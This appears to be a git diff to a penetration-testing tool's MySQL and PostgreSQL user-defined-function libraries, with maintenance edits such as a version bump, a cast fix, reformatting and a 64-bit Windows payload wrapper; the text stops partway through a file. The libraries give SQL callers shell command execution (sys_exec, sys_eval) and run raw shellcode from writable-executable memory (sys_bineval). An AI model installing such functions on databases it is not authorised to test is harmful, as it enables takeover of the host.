diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh
index 227eeca15..5e7901ca7 100755
--- a/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh
+++ b/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh
@@ -37,7 +37,7 @@ fi
 
 echo -e "\nPlease provide your MySQL root password"
 
-mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
+mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
 
 if test $? -ne 0; then
 	echo "ERROR: unable to install the UDF"
diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c
index 52c9bf24a..082f69908 100644
--- a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c
+++ b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c
@@ -19,6 +19,7 @@
 	License along with this library; if not, write to the Free Software
 	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 */
+
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
 #define DLLEXP __declspec(dllexport) 
 #else
@@ -55,7 +56,7 @@ typedef long long longlong;
 extern "C" {
 #endif
 
-#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
 
 #ifdef __WIN__
 #define SETENV(name,value)		SetEnvironmentVariable(name,value);
@@ -446,7 +447,7 @@ char* sys_eval(
 
 	while (fgets(line, sizeof(line), pipe) != NULL) {
 		linelen = strlen(line);
-		result = realloc(result, outlen + linelen);
+		result = (char *)realloc(result, outlen + linelen);
 		strncpy(result + outlen, line, linelen);
 		outlen = outlen + linelen;
 	}
@@ -480,7 +481,6 @@ int sys_bineval(
 	UDF_INIT *initid
 ,	UDF_ARGS *args
 ){
-	int32 argv0_size;
 	size_t len;
 
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
@@ -492,8 +492,7 @@ int sys_bineval(
 	pid_t pID;
 #endif
 
-	argv0_size = strlen(args->args[0]);
-	len = (size_t)argv0_size;
+	len = (size_t)strlen(args->args[0]);
 
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
 	// allocate a +rwx memory page
@@ -529,7 +528,22 @@ int sys_bineval(
 	return 0;
 }
 
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#if defined(_WIN64)
+void __exec_payload(LPVOID);
+
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__exec_payload(lpParameter);
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
 DWORD WINAPI exec_payload(LPVOID lpParameter)
 {
 	__try
@@ -542,7 +556,6 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
 	}
 	__except(EXCEPTION_EXECUTE_HANDLER)
 	{
-
 	}
 
 	return 0;
diff --git a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c
index dc27adb88..afb925ef2 100644
--- a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c
+++ b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c
@@ -48,29 +48,29 @@ PG_MODULE_MAGIC;
 
 char *text_ptr_to_char_ptr(text *arg)
 {
-    char *retVal;
-    int arg_size = VARSIZE(arg) - VARHDRSZ;
-    retVal = (char *)malloc(arg_size + 1);
+	char *retVal;
+	int arg_size = VARSIZE(arg) - VARHDRSZ;
+	retVal = (char *)malloc(arg_size + 1);
 
-    memcpy(retVal, VARDATA(arg), arg_size);
-    retVal[arg_size] = '\0';
-    
-    return retVal;
+	memcpy(retVal, VARDATA(arg), arg_size);
+	retVal[arg_size] = '\0';
+	
+	return retVal;
 }
 
 text *chr_ptr_to_text_ptr(char *arg)
 {
-    text *retVal;
-    
-    retVal = (text *)malloc(VARHDRSZ + strlen(arg));
+	text *retVal;
+	
+	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
 #ifdef SET_VARSIZE
-    SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
+	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
 #else
-    VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
+	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
 #endif
-    memcpy(VARDATA(retVal), arg, strlen(arg));
-    
-    return retVal;
+	memcpy(VARDATA(retVal), arg, strlen(arg));
+	
+	return retVal;
 }
 
 PG_FUNCTION_INFO_V1(sys_exec);
diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh
index 227eeca15..5e7901ca7 100755
--- a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh
+++ b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh
@@ -37,7 +37,7 @@ fi
 
 echo -e "\nPlease provide your MySQL root password"
 
-mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
+mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
 
 if test $? -ne 0; then
 	echo "ERROR: unable to install the UDF"
diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c
index 52c9bf24a..082f69908 100644
--- a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c
+++ b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c
@@ -19,6 +19,7 @@
 	License along with this library; if not, write to the Free Software
 	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 */
+
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
 #define DLLEXP __declspec(dllexport) 
 #else
@@ -55,7 +56,7 @@ typedef long long longlong;
 extern "C" {
 #endif
 
-#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
 
 #ifdef __WIN__
 #define SETENV(name,value)		SetEnvironmentVariable(name,value);
@@ -446,7 +447,7 @@ char* sys_eval(
 
 	while (fgets(line, sizeof(line), pipe) != NULL) {
 		linelen = strlen(line);
-		result = realloc(result, outlen + linelen);
+		result = (char *)realloc(result, outlen + linelen);
 		strncpy(result + outlen, line, linelen);
 		outlen = outlen + linelen;
 	}
@@ -480,7 +481,6 @@ int sys_bineval(
 	UDF_INIT *initid
 ,	UDF_ARGS *args
 ){
-	int32 argv0_size;
 	size_t len;
 
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
@@ -492,8 +492,7 @@ int sys_bineval(
 	pid_t pID;
 #endif
 
-	argv0_size = strlen(args->args[0]);
-	len = (size_t)argv0_size;
+	len = (size_t)strlen(args->args[0]);
 
 #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
 	// allocate a +rwx memory page
@@ -529,7 +528,22 @@ int sys_bineval(
 	return 0;
 }
 
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#if defined(_WIN64)
+void __exec_payload(LPVOID);
+
+DWORD WINAPI exec_payload(LPVOID lpParameter)
+{
+	__try
+	{
+		__exec_payload(lpParameter);
+	}
+	__except(EXCEPTION_EXECUTE_HANDLER)
+	{
+	}
+
+	return 0;
+}
+#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
 DWORD WINAPI exec_payload(LPVOID lpParameter)
 {
 	__try
@@ -542,7 +556,6 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
 	}
 	__except(EXCEPTION_EXECUTE_HANDLER)
 	{
-
 	}
 
 	return 0;
diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c
index dc27adb88..afb925ef2 100644
--- a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c
+++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c
@@ -48,29 +48,29 @@ PG_MODULE_MAGIC;
 
 char *text_ptr_to_char_ptr(text *arg)
 {
-    char *retVal;
-    int arg_size = VARSIZE(arg) - VARHDRSZ;
-    retVal = (char *)malloc(arg_size + 1);
+	char *retVal;
+	int arg_size = VARSIZE(arg) - VARHDRSZ;
+	retVal = (char *)malloc(arg_size + 1);
 
-    memcpy(retVal, VARDATA(arg), arg_size);
-    retVal[arg_size] = '\0';
-    
-    return retVal;
+	memcpy(retVal, VARDATA(arg), arg_size);
+	retVal[arg_size] = '\0';
+	
+	return retVal;
 }
 
 text *chr_ptr_to_text_ptr(char *arg)
 {
-    text *retVal;
-    
-    retVal = (text *)malloc(VARHDRSZ + strlen(arg));
+	text *retVal;
+	
+	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
 #ifdef SET_VARSIZE
-    SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
+	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
 #else
-    VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
+	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
 #endif
-    memcpy(VARDATA(retVal), arg, strlen(arg));
-    
-    return retVal;
+	memcpy(VARDATA(retVal), arg, strlen(arg));
+	
+	return retVal;
 }
 
 PG_FUNCTION_INFO_V1(sys_exec);
diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
index 610d29171..082f69908 100644
--- a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
+++ b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c
@@ -1,564 +1,565 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: mysqludfs@gmail.com, bernardo.damele@gmail.com
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char line[1024];
-	unsigned long outlen, linelen;
-
-	result = malloc(1);
-	outlen = 0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */
\ No newline at end of file
+/* 
+	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+	Copyright (C) 2007  Roland Bouman 
+	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
+	web: http://www.mysqludf.org/
+	email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+	
+	This library is free software; you can redistribute it and/or
+	modify it under the terms of the GNU Lesser General Public
+	License as published by the Free Software Foundation; either
+	version 2.1 of the License, or (at your option) any later version.
+	
+	This library is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+	Lesser General Public License for more details.
+	
+	You should have received a copy of the GNU Lesser General Public
+	License along with this library; if not, write to the Free Software
+	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+#define DLLEXP __declspec(dllexport) 
+#else
+#define DLLEXP
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#endif
+
+#ifdef STANDARD
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#ifdef __WIN__
+typedef unsigned __int64 ulonglong;
+typedef __int64 longlong;
+#else
+typedef unsigned long long ulonglong;
+typedef long long longlong;
+#endif /*__WIN__*/
+#else
+#include <my_global.h>
+#include <my_sys.h>
+#endif
+#include <mysql.h>
+#include <m_ctype.h>
+#include <m_string.h>
+#include <stdlib.h>
+
+#include <ctype.h>
+
+#ifdef HAVE_DLOPEN
+#ifdef	__cplusplus
+extern "C" {
+#endif
+
+#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
+
+#ifdef __WIN__
+#define SETENV(name,value)		SetEnvironmentVariable(name,value);
+#else
+#define SETENV(name,value)		setenv(name,value,1);		
+#endif
+
+DLLEXP 
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_get
+ * 
+ * Gets the value of the specified environment variable.
+ */
+DLLEXP 
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_get_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_set
+ * 
+ * Sets the value of the environment variables.
+ * This function accepts a set of name/value pairs
+ * which are then set as environment variables.
+ * Use sys_get to retrieve the value of such a variable 
+ */
+DLLEXP 
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_set_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_exec
+ * 
+ * executes the argument commandstring and returns its exit status.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_exec_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_eval
+ * 
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+);
+
+DLLEXP 
+void sys_eval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+char* sys_eval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+);
+
+/**
+ * sys_bineval
+ * 
+ * executes bynary opcodes.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP 
+my_bool sys_bineval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+DLLEXP 
+void sys_bineval_deinit(
+	UDF_INIT *initid
+);
+
+DLLEXP 
+int sys_bineval(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+);
+
+#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
+DWORD WINAPI exec_payload(LPVOID lpParameter);
+#endif
+
+
+#ifdef	__cplusplus
+}
+#endif
+
+/**
+ * lib_mysqludf_sys_info
+ */
+my_bool lib_mysqludf_sys_info_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	my_bool status;
+	if(args->arg_count!=0){
+		strcpy(
+			message
+		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
+		);
+		status = 1;
+	} else {
+		status = 0;
+	}
+	return status;
+}
+
+void lib_mysqludf_sys_info_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* lib_mysqludf_sys_info(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	strcpy(result,LIBVERSION);
+	*length = strlen(LIBVERSION);
+	return result;
+}
+
+my_bool sys_get_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count==1
+	&&	args->arg_type[0]==STRING_RESULT){
+		initid->maybe_null = 1;
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_get_deinit(
+	UDF_INIT *initid
+){
+}
+
+char* sys_get(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char* result
+,	unsigned long* length
+,	char *is_null
+,	char *error
+){
+	char* value = getenv(args->args[0]);
+	if(value == NULL){
+		*is_null = 1;
+	} else {
+		*length = strlen(value);
+	} 
+	return value;
+}
+
+my_bool sys_set_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	if(args->arg_count!=2){
+		strcpy(
+			message
+		,	"Expected exactly two arguments"
+		);		
+		return 1;
+	}
+	if(args->arg_type[0]!=STRING_RESULT){
+		strcpy(
+			message
+		,	"Expected string type for name parameter"
+		);		
+		return 1;
+	}
+	args->arg_type[1]=STRING_RESULT;
+	if((initid->ptr=malloc(
+		args->lengths[0]
+	+	1
+	+	args->lengths[1]
+	+	1
+	))==NULL){
+		strcpy(
+			message
+		,	"Could not allocate memory"
+		);		
+		return 1;
+	}	
+	return 0;
+}
+
+void sys_set_deinit(
+	UDF_INIT *initid
+){
+	if (initid->ptr!=NULL){
+		free(initid->ptr);
+	}
+}
+
+long long sys_set(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){	
+	char *name = initid->ptr;
+	char *value = name + args->lengths[0] + 1; 
+	memcpy(
+		name
+	,	args->args[0]
+	,	args->lengths[0]
+	);
+	*(name + args->lengths[0]) = '\0';
+	memcpy(
+		value
+	,	args->args[1]
+	,	args->lengths[1]
+	);
+	*(value + args->lengths[1]) = '\0';
+	return SETENV(name,value);		
+}
+
+my_bool sys_exec_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
+	if(args->arg_count == 1
+	&& args->arg_type[i]==STRING_RESULT){
+		return 0;
+	} else {
+		strcpy(
+			message
+		,	"Expected exactly one string type parameter"
+		);		
+		return 1;
+	}
+}
+
+void sys_exec_deinit(
+	UDF_INIT *initid
+){
+}
+
+my_ulonglong sys_exec(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *is_null
+,	char *error
+){
+	return system(args->args[0]);
+}
+
+my_bool sys_eval_init(
+	UDF_INIT *initid
+,	UDF_ARGS *args
+,	char *message
+){
+	unsigned int i=0;
